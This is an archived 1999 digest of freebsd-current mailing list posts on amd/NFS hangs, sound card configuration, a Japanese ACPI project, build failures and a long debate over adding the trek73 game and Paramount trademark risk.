cx344940-a.meta1.la.home.com (8.9.3/8.9.2) id GAA02050 for freebsd-current@FreeBSD.ORG; Mon, 25 Oct 1999 06:37:45 -0500 (CDT) (envelope-from conrads) Message-ID: X-Mailer: XFMail 1.3.2pre1 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Mon, 25 Oct 1999 06:37:44 -0500 (CDT) Organization: @Home Network From: Conrad Sabatier To: freebsd-current@FreeBSD.ORG Subject: Nevermind! (Re: Info needed re: new userconfig scripting and PnP) Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG OK, I've gotten a few private replies (thanks!), and have also read through several threads in the -current archives. I think I've got the picture now. Can't say I'm all that happy about what I've read (I mean, having to add to my web pages something to the effect of "you can disregard all of this information if you're running -current"), but who am I to stand in the way of progress, eh? :-) BTW, speaking of device IDs, if anyone needs the info for the AWE 64 "value" card, I'll be happy to provide whatever I can. -- Conrad Sabatier http://members.home.net/conrads/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 25 5:48:49 1999 Delivered-To: freebsd-current@freebsd.org Received: from mailhub.ny.verio.net (listserv.ny.verio.net [199.1.22.70]) by hub.freebsd.org (Postfix) with ESMTP id A430014E75 for ; Mon, 25 Oct 1999 05:48:37 -0700 (PDT) (envelope-from dms@servtech.com) Received: from servtech.com (mail.ny.verio.net [199.1.22.31]) by mailhub.ny.verio.net (8.8.8/8.8.8) with ESMTP id MAA13050 for ; Mon, 25 Oct 1999 12:48:35 GMT Received: from shell (shell.servtech.com [199.1.22.8]) by servtech.com (8.8.8/8.8.8) with ESMTP id MAA14249 for ; Mon, 25 Oct 1999 12:48:35 GMT Date: Mon, 25 Oct 1999 08:48:34 -0400 (EDT) From: Dave Seaman To: freebsd-current@freebsd.org Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG help subscribe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 25 7:37: 5 1999 Delivered-To: freebsd-current@freebsd.org Received: from pau-amma.whistle.com (pau-amma.whistle.com [207.76.205.64]) by hub.freebsd.org (Postfix) with ESMTP id 71C4514BFD for ; Mon, 25 Oct 1999 07:37:02 -0700 (PDT) (envelope-from dhw@whistle.com) Received: (from dhw@localhost) by pau-amma.whistle.com (8.9.2/8.9.2) id HAA20848; Mon, 25 Oct 1999 07:36:26 -0700 (PDT) Date: Mon, 25 Oct 1999 07:36:26 -0700 (PDT) From: David Wolfskill Message-Id: <199910251436.HAA20848@pau-amma.whistle.com> To: dillon@apollo.backplane.com, freebsd-current@FreeBSD.ORG Subject: Re: freefall hangs w/ nfs In-Reply-To: <199910240742.AAA17268@apollo.backplane.com> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >Date: Sun, 24 Oct 1999 00:42:12 -0700 (PDT) >From: Matthew Dillon > It looks on the face of it that AMD is hanging. Perhaps this is > preventing the system from clearing out buffers and causing lockups > on other mounts. AMD could also be causing a deadlock to occur in the > buffer cache (for the same reason loopback mounts can cause deadlocks). > The next time this happens, if the person rebooting freefall can get > a kernel dump (and have a corresponding debug kernel) I may be able to > track it down for sure. Fixing it is another problem, though. Loopback > deadlocks are a big problem under 3.x. In an environment where there is use of amd and NFS, there is no need for loopback NFS mounts. The reason is that in addition to its "classical" role of simulating an NFS mount, amd is also quite capable of simulating a symlink. I ended up doing some of that as part of my first exposure to FreeBSD (when I started here at Whistle) because otherwise, my desktop would crash just about any time I tried to use "make". A (slightly re-formatted for legibility) example of an amd map that accomplishes the distinction is: /defaults sublink:=${key} * host!=shrimp;os==freebsd4;rhost:=shrimp;type:=nfs;\ rfs:=/shrimp/tribe;fs:=${autodir}/shrimp/tribe;\ opts:=vers=2,proto=udp,rw,intr,nosuid,grpid \ host!=shrimp;os==freebsd3;rhost:=shrimp;type:=nfs;\ rfs:=/shrimp/tribe;fs:=${autodir}/shrimp/tribe;\ opts:=vers=2,proto=udp,rw,intr,nosuid,grpid \ host!=shrimp;os!=freebsd3;rhost:=shrimp;type:=nfs;\ rfs:=/shrimp/tribe;fs:=${autodir}/shrimp/tribe;\ opts:=nfsv2,noconn,rw,intr,nosuid,grpid \ host==shrimp;type:=link;fs:=/shrimp/tribe The key notion is embodied in that last line -- if the client is "shrimp" (which happens to be the name of the server), don't use NFS; rather, fabricate a symlink. Yes, I realize that this doesn't fix the problem that plagues loopback NFS mounts; it avoids the issue instead. But sometimes it's appropriate to make things work, even if it's not the ideal solution. Making that judgement call is not something I'm prepared to do in this case; I'm presenting an alternative that has worked for me, in cases where I have made that call. Cheers, david -- David Wolfskill dhw@whistle.com UNIX System Administrator voice: (650) 577-7158 pager: (888) 347-0197 FAX: (650) 372-5915 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 25 10:26: 8 1999 Delivered-To: freebsd-current@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 249AE14F59 for ; Mon, 25 Oct 1999 10:26:06 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id KAA07728; Mon, 25 Oct 1999 10:26:04 -0700 (PDT) (envelope-from dillon) Date: Mon, 25 Oct 1999 10:26:04 -0700 (PDT) From: Matthew Dillon Message-Id: <199910251726.KAA07728@apollo.backplane.com> To: David Wolfskill Cc: freebsd-current@FreeBSD.ORG Subject: Re: freefall hangs w/ nfs References: <199910251436.HAA20848@pau-amma.whistle.com> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG : :>Date: Sun, 24 Oct 1999 00:42:12 -0700 (PDT) :>From: Matthew Dillon : :> It looks on the face of it that AMD is hanging. Perhaps this is :> preventing the system from clearing out buffers and causing lockups :> on other mounts. AMD could also be causing a deadlock to occur in the :> buffer cache (for the same reason loopback mounts can cause deadlocks). : :> The next time this happens, if the person rebooting freefall can get :> a kernel dump (and have a corresponding debug kernel) I may be able to :> track it down for sure. Fixing it is another problem, though. Loopback :> deadlocks are a big problem under 3.x. : :In an environment where there is use of amd and NFS, there is no need :for loopback NFS mounts. Actually, what I meant was that AMD itself is equivalent to a loopback mount, whether or not you make loopback mounts through it. In looking at freefall a bit more, I don't quite understand why amd is being used at all. I would simply create a /net/freefall/{c,d,g,x} and mount /c, /d, /g, and /x there locally. Then on hub and bento the same paths would simply be NFS mounts. This would allow everyone's home directories to be hard coded on all machines to /net/freefall/blahblahblah. This is essentially what I did when we had shell1 and shell2 during the early days of BEST. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 25 10:49:41 1999 Delivered-To: freebsd-current@freebsd.org Received: from tasogare.imasy.or.jp (tasogare.imasy.or.jp [202.227.24.5]) by hub.freebsd.org (Postfix) with ESMTP id B4AEB15194; Mon, 25 Oct 1999 10:49:36 -0700 (PDT) (envelope-from iwasaki@jp.FreeBSD.org) Received: from localhost (isdn30.imasy.or.jp [202.227.24.222]) by tasogare.imasy.or.jp (8.9.3+3.2W/3.7W-tasogare/smtpfeed 1.01) with ESMTP id CAA24566; Tue, 26 Oct 1999 02:49:34 +0900 (JST) (envelope-from iwasaki@jp.FreeBSD.org) Message-Id: <199910251749.CAA24566@tasogare.imasy.or.jp> To: current@FreeBSD.ORG Cc: freebsd-mobile@FreeBSD.ORG, acpi-jp@jp.FreeBSD.org Subject: ACPI project started in Japan X-Mailer: Mew version 1.93 on Emacs 19.34 / Mule 2.3 (SUETSUMUHANA) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Tue, 26 Oct 1999 02:49:32 +0900 From: Mitsuru IWASAKI X-Dispatcher: imput version 980905(IM100) Lines: 24 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Just FYI, We launched ACPI project in Japan today, but the activities haven't detailed yet in this project. We'd like to contribute something from this project to FreeBSD main stream developing some sort of prototype but don't want to make duplicated efforts anyway. So please let us know if you are doing something on ACPI. Suggestions, questions and requests are very appreciated. Please see http://www.jp.FreeBSD.org/acpi/ For more info. Mr. watanabe, on behalf of the project :), made some survey at FreeBSDCon. Doug Rabson, Mike smith and Warner Losh are interested in this area, and already some code was written. We'd like to keep consulting and cooperating with them. For the time being, we will make clean our experimental ACPI device deriver up, and may implement S5 Soft Off State transition by ACPI. And, we are going to make this kind of project report in English from time to time. # sorry for our poor English ;) Thanks! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 25 12:17:15 1999 Delivered-To: freebsd-current@freebsd.org Received: from frmug.org (frmug-gw.frmug.org [193.56.58.252]) by hub.freebsd.org (Postfix) with ESMTP id 8AA2215229 for ; Mon, 25 Oct 1999 12:16:41 -0700 (PDT) (envelope-from roberto@keltia.freenix.fr) Received: (from uucp@localhost) by frmug.org (8.9.3/frmug-2.5/nospam) with UUCP id VAA16857 for freebsd-current@freebsd.org; Mon, 25 Oct 1999 21:16:36 +0200 (CEST) (envelope-from roberto@keltia.freenix.fr) Received: by keltia.freenix.fr (Postfix, from userid 101) id BB766878D; Mon, 25 Oct 1999 21:06:53 +0200 (CEST) Date: Mon, 25 Oct 1999 21:06:53 +0200 From: Ollivier Robert To: freebsd-current@freebsd.org Subject: Re: pcm/ES1370 PCI soundcard problem Message-ID: <19991025210653.A57851@keltia.freenix.fr> Mail-Followup-To: freebsd-current@freebsd.org References: <199910151910.VAA02550@oranje.my.domain> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii User-Agent: Mutt/1.0pre2i In-Reply-To: <199910151910.VAA02550@oranje.my.domain> X-Operating-System: FreeBSD 4.0-CURRENT/ELF AMD-K6/200 & 2x PPro/200 SMP Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG According to Marc van Woerkom: > device pcm0 at pci0 > > in the kernel configuration file. Try device pcm0 -- Ollivier ROBERT -=- FreeBSD: The Power to Serve! -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 4.0-CURRENT #74: Thu Sep 9 00:20:51 CEST 1999 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 25 12:30: 6 1999 Delivered-To: freebsd-current@freebsd.org Received: from peedub.muc.de (peedub.muc.de [193.149.49.109]) by hub.freebsd.org (Postfix) with ESMTP id 919F515320 for ; Mon, 25 Oct 1999 12:29:42 -0700 (PDT) (envelope-from garyj@peedub.muc.de) Received: from peedub.muc.de (localhost [127.0.0.1]) by peedub.muc.de (8.9.3/8.6.9) with ESMTP id VAA01013; Mon, 25 Oct 1999 21:25:09 +0200 (CEST) Message-Id: <199910251925.VAA01013@peedub.muc.de> X-Mailer: exmh version 2.1.0 09/18/1999 To: hm@hcs.de Cc: freebsd-current@FreeBSD.ORG (FreeBSD Current) Subject: Re: [Call for review]: newsyslog - new option Reply-To: Gary Jennejohn In-reply-to: Your message of "Tue, 19 Oct 1999 09:19:52 +0200." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 25 Oct 1999 21:25:09 +0200 From: Gary Jennejohn Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hellmuth Michaelis writes: >I've added a new option (-o directory) to newsyslog to move the old logfiles >into another directory than the original ones. > works OK for me, although the English (Germish ?) in the man page could use some polishing. I only tested it using an absolute path. --- Gary Jennejohn Home - garyj@muc.de Work - garyj@fkr.cpqcorp.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 25 12:33:57 1999 Delivered-To: freebsd-current@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id AD20B14BF1; Mon, 25 Oct 1999 12:33:55 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 8A6FB1CD426; Mon, 25 Oct 1999 12:33:55 -0700 (PDT) (envelope-from kris@hub.freebsd.org) Date: Mon, 25 Oct 1999 12:33:55 -0700 (PDT) From: Kris Kennaway To: Matthew Dillon Cc: freebsd-current@FreeBSD.ORG Subject: Re: trek73 In-Reply-To: <199910240353.UAA12397@apollo.backplane.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 23 Oct 1999, Matthew Dillon wrote: > I found a copy of the C version of trek73 in my Amiga archives. This > is the trek73 originally written in HP-2000 Basic that was rewritten > by Dave Pare and Chris Williams in C and seriously enhanced by a bunch > of people including me in my early college years circa 1985. > > I don't think any of the authors would mind if it went into /usr/games, > but tracking them down is close to impossible since ucbvax no longer > exists. If nobody knows different, I would like to clean it up (fairly > easy since it's already in C) and commit it in. Is it worth worrying about trademark issues [1]? We still have trek in the base system, but adding a second version might wake the lawyers. Kris [1] See boggle(6) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 25 12:42:19 1999 Delivered-To: freebsd-current@freebsd.org Received: from frmug.org (frmug-gw.frmug.org [193.56.58.252]) by hub.freebsd.org (Postfix) with ESMTP id 5AB8814CA2 for ; Mon, 25 Oct 1999 12:41:38 -0700 (PDT) (envelope-from roberto@keltia.freenix.fr) Received: (from uucp@localhost) by frmug.org (8.9.3/frmug-2.5/nospam) with UUCP id VAA17677 for current@freebsd.org; Mon, 25 Oct 1999 21:41:33 +0200 (CEST) (envelope-from roberto@keltia.freenix.fr) Received: by keltia.freenix.fr (Postfix, from userid 101) id 29171878D; Mon, 25 Oct 1999 21:37:06 +0200 (CEST) Date: Mon, 25 Oct 1999 21:37:06 +0200 From: Ollivier Robert To: Current Development Subject: Re: make world failing on current Message-ID: <19991025213706.B57851@keltia.freenix.fr> Mail-Followup-To: Current Development References: <380A26D6.41B6E243@etoile.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii User-Agent: Mutt/1.0pre2i In-Reply-To: <380A26D6.41B6E243@etoile.net> X-Operating-System: FreeBSD 4.0-CURRENT/ELF AMD-K6/200 & 2x PPro/200 SMP Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG According to Dana Huggard: > /usr/src/gnu/lib/libgcc/../../../contrib/egcs/gcc/libgcc1.c > *** Signal 12 You need to build and run a new kernel before. There were some changes that require that. You need to read all -current mails... -- Ollivier ROBERT -=- FreeBSD: The Power to Serve! -=- roberto@keltia.freenix.fr FreeBSD keltia.freenix.fr 4.0-CURRENT #74: Thu Sep 9 00:20:51 CEST 1999 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 25 13:21:45 1999 Delivered-To: freebsd-current@freebsd.org Received: from argus.tfs.net (host1-224.birch.net [216.212.1.224]) by hub.freebsd.org (Postfix) with ESMTP id 75AE715262; Mon, 25 Oct 1999 13:21:19 -0700 (PDT) (envelope-from jbryant@argus.tfs.net) Received: (from jbryant@localhost) by argus.tfs.net (8.9.3/8.8.5) id PAA58999; Mon, 25 Oct 1999 15:21:06 -0500 (CDT) From: Jim Bryant Message-Id: <199910252021.PAA58999@argus.tfs.net> Subject: Re: trek73 In-Reply-To: from Kris Kennaway at "Oct 25, 99 12:33:55 pm" To: kris@hub.freebsd.org (Kris Kennaway) Date: Mon, 25 Oct 1999 15:21:00 -0500 (CDT) Cc: freebsd-current@freebsd.org Reply-To: jbryant@tfs.net X-Windows: R00LZ!@# MS-Winbl0wz DR00LZ!@# X-files: The truth is that the X-Files is fiction X-Republican: The best kind!!! X-Operating-System: FreeBSD 4.0-CURRENT #31: Thu Apr 8 10:40:17 CDT 1999 X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In reply: > On Sat, 23 Oct 1999, Matthew Dillon wrote: > > > I found a copy of the C version of trek73 in my Amiga archives. This > > is the trek73 originally written in HP-2000 Basic that was rewritten > > by Dave Pare and Chris Williams in C and seriously enhanced by a bunch > > of people including me in my early college years circa 1985. > > > > I don't think any of the authors would mind if it went into /usr/games, > > but tracking them down is close to impossible since ucbvax no longer > > exists. If nobody knows different, I would like to clean it up (fairly > > easy since it's already in C) and commit it in. > > Is it worth worrying about trademark issues [1]? We still have trek in the > base system, but adding a second version might wake the lawyers. > > Kris > > [1] See boggle(6) Gimme a break... If Paramount wanted to go after "unauthorized" trek paraphenalia, they have much larger fish to fry than a CLASSIC public-domain trek game distributed with a FREE operating system that tens or even hundreds of thousands of people have played over a period of nearly 30 years. I believe I have even heard Shatner himself in interviews credit such "unauthorized" things for keeping Trek alive in the first place... If it came out that Paramount ever tried litigation over such things, they would lose a LOT of fans, and the money in their pockets! What would come next? Sueing people at conventions for getting the uniforms wrong? The boggle(6) incident has probably cost it's manufacturer lost sales, because they played the incident like jerks. I cheered when they were named in the Toys-R-Us class-action lawsuit, because they were such jerks here. Bottom line: such games do not hurt the sales of any commercial product. Litigation against such games only hurt the reputation of the one bringing or threatening the litigation in the first place, and tends to make them look like assholes in the eyes of the public. [1] See boggle(6), which by the way compiles fine from the net(n) distributions, plus all of the 4.4 distributions. To hell with Hasbro. The BSD game would have survived patent infringement suit, it was not an EXACT duplicate, it actually had improvements over the dice game. Improve a patented item, and you can do anything you want. I cannot say that Paramount wouldn't do it, but I can say that if it did, it would detrimentally effect the entire Trek sub-culture; and they are perfectly aware of this fact, such things have been mentioned in interviews with the stars and producers in a POSITIVE light time and time again. I can probably arrange a statement from at least three of the stars of the original series to this effect. I may just do that, maybe I can get a statement from all of the surviving members of the original cast. The have made it clear in the past that they credit their ongoing fame to such underground paraphenalia. jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" ------------------------------------------------------------------------------ jbryant@tfs.net - KC5VDJ HF to 23cm grid: EM28pw - http://www.tfs.net/~jbryant ------------------------------------------------------------------------------ IC-706MkII - IC-T81A - HTX-202 - HTX-212 - HTX-404 - KPC3+ - PK-232MBX/DSP To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 25 13:29:50 1999 Delivered-To: freebsd-current@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id 7AD1214D3D; Mon, 25 Oct 1999 13:29:49 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 69C9A1CD432; Mon, 25 Oct 1999 13:29:44 -0700 (PDT) (envelope-from kris@hub.freebsd.org) Date: Mon, 25 Oct 1999 13:29:44 -0700 (PDT) From: Kris Kennaway To: jbryant@tfs.net Cc: freebsd-current@freebsd.org Subject: Re: trek73 In-Reply-To: <199910252021.PAA58999@argus.tfs.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mon, 25 Oct 1999, Jim Bryant wrote: > "unauthorized" things for keeping Trek alive in the first place... If > it came out that Paramount ever tried litigation over such things, > they would lose a LOT of fans, and the money in their pockets! What > would come next? Sueing people at conventions for getting the > uniforms wrong? Or sueing fan websites, perhaps? > The boggle(6) incident has probably cost it's manufacturer lost sales, > because they played the incident like jerks. I cheered when they were > named in the Toys-R-Us class-action lawsuit, because they were such > jerks here. I doubt it. Most people who followed the debate on FreeBSD-hackers probably weren't likely to buy a copy of boggle anyway. Kris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 25 13:48:57 1999 Delivered-To: freebsd-current@freebsd.org Received: from nothing-going-on.demon.co.uk (nothing-going-on.demon.co.uk [193.237.89.66]) by hub.freebsd.org (Postfix) with ESMTP id ADD81152ED for ; Mon, 25 Oct 1999 13:47:32 -0700 (PDT) (envelope-from nik@nothing-going-on.demon.co.uk) Received: from kilt.nothing-going-on.org (kilt.nothing-going-on.org [192.168.1.18]) by nothing-going-on.demon.co.uk (8.9.3/8.9.3) with ESMTP id VAA61012; Mon, 25 Oct 1999 21:01:20 +0100 (BST) (envelope-from nik@catkin.nothing-going-on.org) Received: (from nik@localhost) by kilt.nothing-going-on.org (8.9.3/8.9.3) id RAA07461; Mon, 25 Oct 1999 17:37:06 +0100 (BST) (envelope-from nik@catkin.nothing-going-on.org) Date: Mon, 25 Oct 1999 17:37:06 +0100 From: Nik Clayton To: Conrad Sabatier Cc: freebsd-current@freebsd.org Subject: Re: Info needed re: new userconfig scripting and PnP Message-ID: <19991025173706.A6022@kilt.nothing-going-on.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: ; from Conrad Sabatier on Sun, Oct 24, 1999 at 02:10:03PM -0500 Organization: FreeBSD Project Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, Oct 24, 1999 at 02:10:03PM -0500, Conrad Sabatier wrote: > Someone just mailed me this heads up about my AWE soundcard setup > tutorial at http://members.home.net/conrads/awepnp-freebsd.html. > As this is the first I've heard about this, I'd greatly appreciate it Conrad (and anyone else with tutorials like this). This could fit neatly under doc/en_US.ISO_8859-1/articles/, if you'd care to. That would get it in the CVS tree (for ease of maintenance), allow the translation teams to tackle it, and get it mirrored on all the FreeBSD mirrors around the world. Interested? N To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 25 14:15:10 1999 Delivered-To: freebsd-current@freebsd.org Received: from argus.tfs.net (host1-224.birch.net [216.212.1.224]) by hub.freebsd.org (Postfix) with ESMTP id 3CDA41524F for ; Mon, 25 Oct 1999 14:14:49 -0700 (PDT) (envelope-from jbryant@argus.tfs.net) Received: (from jbryant@localhost) by argus.tfs.net (8.9.3/8.8.5) id QAA59132; Mon, 25 Oct 1999 16:14:23 -0500 (CDT) From: Jim Bryant Message-Id: <199910252114.QAA59132@argus.tfs.net> Subject: Re: trek73 In-Reply-To: <000101bf1f28$2a498f40$021d85d1@youwant.to> from David Schwartz at "Oct 25, 99 01:33:15 pm" To: davids@webmaster.com (David Schwartz) Date: Mon, 25 Oct 1999 16:12:47 -0500 (CDT) Cc: freebsd-current@freebsd.org Reply-To: jbryant@tfs.net X-Windows: R00LZ!@# MS-Winbl0wz DR00LZ!@# X-files: The truth is that the X-Files is fiction X-Republican: The best kind!!! X-Operating-System: FreeBSD 4.0-CURRENT #31: Thu Apr 8 10:40:17 CDT 1999 X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In reply: > > On Mon, 25 Oct 1999, Jim Bryant wrote: > > > > > "unauthorized" things for keeping Trek alive in the first place... If > > > it came out that Paramount ever tried litigation over such things, > > > they would lose a LOT of fans, and the money in their pockets! What > > > would come next? Sueing people at conventions for getting the > > > uniforms wrong? > > > > Or sueing fan websites, perhaps? > > Isn't this more or less precisely what happened once X-Files became popular > enough to not need them anymore? > > DS In case you haven't noticed... The current Trek series' have an ever-dwindling audience. The ONLY thing keeping Voyager alive is widely accepted to be the Borg chick with the extremely fine hooters and the pouty voice. Their litigation money would be better spent going after those unauthorized items that are commercial products, and there is an endless supply of those. If litigation was ever threatened over this CLASSIC public-domain 27 year old game, we can always dig up interviews with the stars and producers to back us up. All true Trekkies have heard the interviews. Trek has always been an underground phenomenon. This game has existed in various forms since 1973, and has never been a commercial product. Paramount would be hard-pressed to prove that they have lost one dime as a result of this game. Burdon of proof is on the litigant. This game in fact when put side by side with a modern trek game in front of a jury would only prove to a jury how frivilous and petty such a suit would be in the first place. The Trek sub-culture is unique. A universe without money, where prestige is based on accomplishment, and not what family you were born into or how big your bank accounts are. Ten or fifteen years earlier, and the right wing would have blackballed Roddenberry as a commie. "Humans are capable of so much more than we yet understand. We're really something! Star Trek fans really believe that, and so do I." -- Gene Roddenberry jim -- All opinions expressed are mine, if you | "I will not be pushed, stamped, think otherwise, then go jump into turbid | briefed, debriefed, indexed, or radioactive waters and yell WAHOO !!! | numbered!" - #1, "The Prisoner" ------------------------------------------------------------------------------ jbryant@tfs.net - KC5VDJ HF to 23cm grid: EM28pw - http://www.tfs.net/~jbryant ------------------------------------------------------------------------------ IC-706MkII - IC-T81A - HTX-202 - HTX-212 - HTX-404 - KPC3+ - PK-232MBX/DSP To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 25 14:25:10 1999 Delivered-To: freebsd-current@freebsd.org Received: from penelope.skunk.org (penelope.skunk.org [208.133.204.51]) by hub.freebsd.org (Postfix) with ESMTP id CA06814A2D for ; Mon, 25 Oct 1999 14:24:54 -0700 (PDT) (envelope-from ben@penelope.skunk.org) Received: from localhost (ben@localhost) by penelope.skunk.org (8.9.3/8.9.3) with ESMTP id RAA80370; Mon, 25 Oct 1999 17:30:40 -0400 (EDT) Date: Mon, 25 Oct 1999 17:30:40 -0400 (EDT) From: Ben Rosengart To: jbryant@tfs.net Cc: David Schwartz , freebsd-current@FreeBSD.ORG Subject: Re: trek73 In-Reply-To: <199910252114.QAA59132@argus.tfs.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG You're talking as if litigious corporations follow logic and common sense. This is more the exception than the rule IMO. Don't construe this as arguing against the inclusion of trek73 ... I think you're probably right that the risk is minimal, but for different reasons. -- Ben Rosengart UNIX Systems Engineer, Skunk Group StarMedia Network, Inc. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Mon Oct 25 16: 9:19 1999 Delivered-To: freebsd-current@freebsd.org Received: from argus.tfs.net (host1-224.birch.net [216.212.1.224]) by hub.freebsd.org (Postfix) with ESMTP id E1530151A4; Mon, 25 Oct 1999 16:08:30 -0700 (PDT) (envelope-from jbryant@argus.tfs.net) Received: (from jbryant@localhost) by argus.tfs.net (8.9.3/8.8.5) id SAA59361; Mon, 25 Oct 1999 18:07:18 -0500 (CDT) From: Jim Bryant Message-Id: <199910252307.SAA59361@argus.tfs.net> Subject: Re: trek73 In-Reply-To: from Kris Kennaway at "Oct 25, 99 03:14:04 pm" To: kris@hub.freebsd.org (Kris Kennaway) Date: Mon, 25 Oct 1999 18:05:31 -0500 (CDT) Cc: freebsd-current@freebsd.org Reply-To: jbryant@tfs.net X-Windows: R00LZ!@# MS-Winbl0wz DR00LZ!@# X-files: The truth is that the X-Files is fiction X-Republican: The best kind!!! X-Operating-System: FreeBSD 4.0-CURRENT #31: Thu Apr 8 10:40:17 CDT 1999 X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In reply: > On Mon, 25 Oct 1999, David Schwartz wrote: > > > > > "unauthorized" things for keeping Trek alive in the first place... If > > > > it came out that Paramount ever tried litigation over such things, > > > > they would lose a LOT of fans, and the money in their pockets! What > > > > would come next? Sueing people at conventions for getting the > > > > uniforms wrong? > > > > > > Or sueing fan websites, perhaps? > > > > Isn't this more or less precisely what happened once X-Files > > became popular enough to not need them anymore? > > Yup - but my point was that at around the time of the debut of > www.startrek.com, the Paramount lawyers went on a spree, marking their > territory by threatening high-profile fan sites. Whether or not it's > something which would stand up in court, it's hassle the project could do > without, and leaving aside the issue of whether the existing trek(6) > should remain I wouldn't want to tempt fate by adding a second. > > Amusingly, Paramount are now claiming trademark on the letter 'Q'. > > Kris They can threaten all they want. The risk of actual action against trek73 is infinitesimally small. Even an injuntion would be extremely hard to get because they have to prove that it would hurt their reputation or income to not get an injunction. This game does neither, and such an injunction would be counter-productive. The questions are: Where on this planet will they find a jury to take their side? And, how bad will such hostile actions on the part of Paramount hurt their bottom line, knowing that their audience is extremely computer literate on the average, and that a large percentage of them have at least heard of the game or similar public-domain games. The answers, of course, are: Nowhere, and badly. You don't just up and insult the most loyal following of any series in history, and expect the fans not to take it personally. Are they going to sue NBC for putting the episodes of SNL with Star Trek parodies into syndication? How about the NUMEROUS other TV shows that have parodied it? Or even suing comics who parody the show? Paramount has produced "official" fan pieces that pride themselves on such recognition. No matter what Lush Rimbaugh says on the topic, frivilous lawsuits RARELY win in court. A lawsuit over this would indeed be frivilous. I'll now repeat the OLD joke: "Capt. Kirk is chasing Klingons around Uranus!"... Think they'll sue because I said that? That joke is so old that it has petrified. If they are actively threatening fan web-sites, it's time for a boycott of Paramount. 